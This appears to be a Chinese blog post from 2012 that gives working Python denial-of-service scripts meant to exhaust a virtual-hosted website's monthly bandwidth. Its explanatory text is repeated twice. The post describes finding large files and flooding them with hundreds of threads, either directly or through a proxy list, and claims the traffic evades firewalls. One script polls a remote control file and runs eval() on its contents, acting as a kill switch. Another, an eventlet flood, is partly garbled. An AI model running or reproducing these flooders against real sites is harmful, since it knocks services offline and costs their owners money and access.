针对网页流量的Dos攻击脚本(使用代理服务器)
2012-05-29 12:18
239 查看
某目标网站,为虚拟主机,如果ISP限制月流量为20G,那么我们可以在短暂1-2天内消耗完其流量。(取决于你的机器)
方法原理如下:
1.找到目标网站大文件(页面)地址
2.多线程访问(下载)该地址
(注意:由于完全是出于模拟真实用户,所以不会被防火墙屏蔽掉)
(以下以hao123为例子而已)
一: 其中以上思路中的第一点 可以通过google浏览器的审计功能实现
如图,我可以得到几个大文件地址。
二:
找到地址以后,可以通过脚本程序实现多线程访问,不停消耗其网页浏览。
以下是我的机器运行程序后的截图(2 M adsl 仅10个线程,可以再加线程),我的接收也就是目标网站的消耗流量了(才几秒钟而已)。
可见效率还是不错的。
好了,脚本代码如下:
(注意,代理服务器需要放入proxy.txt文件中
格式为:
ip:port
一行一个)
非代理版:
方法原理如下:
1.找到目标网站大文件(页面)地址
2.多线程访问(下载)该地址
(注意:由于完全是出于模拟真实用户,所以不会被防火墙屏蔽掉)
(以下以hao123为例子而已)
一: 其中以上思路中的第一点 可以通过google浏览器的审计功能实现
如图,我可以得到几个大文件地址。
二:
找到地址以后,可以通过脚本程序实现多线程访问,不停消耗其网页浏览。
以下是我的机器运行程序后的截图(2 M adsl 仅10个线程,可以再加线程),我的接收也就是目标网站的消耗流量了(才几秒钟而已)。
可见效率还是不错的。
好了,脚本代码如下:
(注意,代理服务器需要放入proxy.txt文件中
格式为:
ip:port
一行一个)
import socket,random,threading,time,os,sys import urllib.request as ur socket.setdefaulttimeout(5) os.chdir(sys.path[0]) domain='www.net' tno=500 proxylist=[] a=open(r'proxy.txt').read().strip().split() for i in a: proxylist.append(i.split(':')) target=['','index.asp','img/css.css','img/x.gif','img/x.jpg','img/x.jpg'] target=['','index.asp'] data='''GET http://%s/%s HTTP/1.1 Host: %s User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.46 Safari/535.11 Accept: */* Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Referer: http://%s/ ''' no=1 plock=threading.Lock() ok=False def geturl(): global no while True: time.sleep(1) while ok: proxydet=random.choice(proxylist) proxy=proxydet[0] port=proxydet[1] url=random.choice(target) da=data % (domain,url,domain,domain) try: if not plock.locked():plock.acquire() s=socket.socket() s.connect((proxy,int(port))) s.send(da.encode()) dd=s.recv(4024) print(' ok ',no) no=no+1 except Exception as err: pass finally: s.close() if plock.locked():plock.release() def a(): global ok url=r'http://www.xxx.com/xxx.txt' try: data=ur.urlopen(url).read().decode() data=data.strip().split() for i in data: dom,yes=i.split(':') if domain==dom: ok=eval(yes) except: ok=False for i in range(tno): threading.Thread(target=geturl).start() while True: time.sleep(5) a()
非代理版:
import os,socket,time,threading data='''GET / HTTP/1.1 Host: %s User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11 Accept: */* ''' domain='www.xxxx.net' tno=400 mylock=threading.Lock() def geturl(): global data da=(data % domain).encode() while True: try: if not mylock.locked():mylock.acquire() s=socket.socket() s.connect((domain,80)) s.send((data % domain).encode()) s.recv(2040) print('ok') except Exception as err:print('err:',err) ;pass finally: s.close() if mylock.locked():mylock.release() for i in range(tno): threading.Thread(target=geturl).start()
import eventlet,time from eventlet.green import socket data=''qq HTTP/1.1 Host: qq Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Referer: http://hb.qq.com/news/reganmain/index.htm Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: RK=NcDPkbje2o ''' def send1(): s=socket.socket() s.connect(('qqm',80)) s.send(data) s.close() send1() pool=eventlet.GreenPool(512) while True:pool.spawn_n(send1)
相关文章推荐
- java使用代理服务器获取网页脚本
- (zz)针对不同网页使用不同代理 —— IE自动配置脚本
- 使用谷歌浏览器调试网页和脚本
- Axure使用笔记1:如何去除IE中每次“已限制网页运行脚本或ActiveX控件”
- 使用LoadRunner 11针对Web Services协议脚本的应用
- 使用Jmeter自带的 Http 代理服务器录制脚本
- 开源一个用于查看搬瓦工 VPS 流量使用情况的小网页(PHP)
- JMeter 八:录制脚本--使用Jmeter自带的代理服务器
- 使用chrome extend写一个操作京东网页的JavaScript脚本
- 使用谷歌浏览器简单的调试网页和脚本
- 统计网卡流量的两段shell脚本(使用ifconfig)
- python-快速使用urllib爬取网页(6-代理服务器)
- 为什么网页出现莫名其妙的广告?—— 使用 HTTPS 防止流量劫持
- 统计网卡流量的两段shell脚本(使用ifconfig) 详细出处参考:http://www.jb51.net/article/34290.htm
- Jmeter脚本录制方法(一)分别使用Badboy录制和Jmeter自带的代理服务器录制
- 使用perl脚本抓取网页总结
- 在基于 Windows XP 的计算机上查看使用 Jscript 脚本的网页时,Internet Explorer 6 中会出现内存泄漏
- 有选择的使用代理服务器浏览网页
- 如何使用Powershell脚本监控Exchange2010(二) 企业内部邮件流量的监控
- 使用JavaScript定时取得脚本(不刷新网页,可更新内容)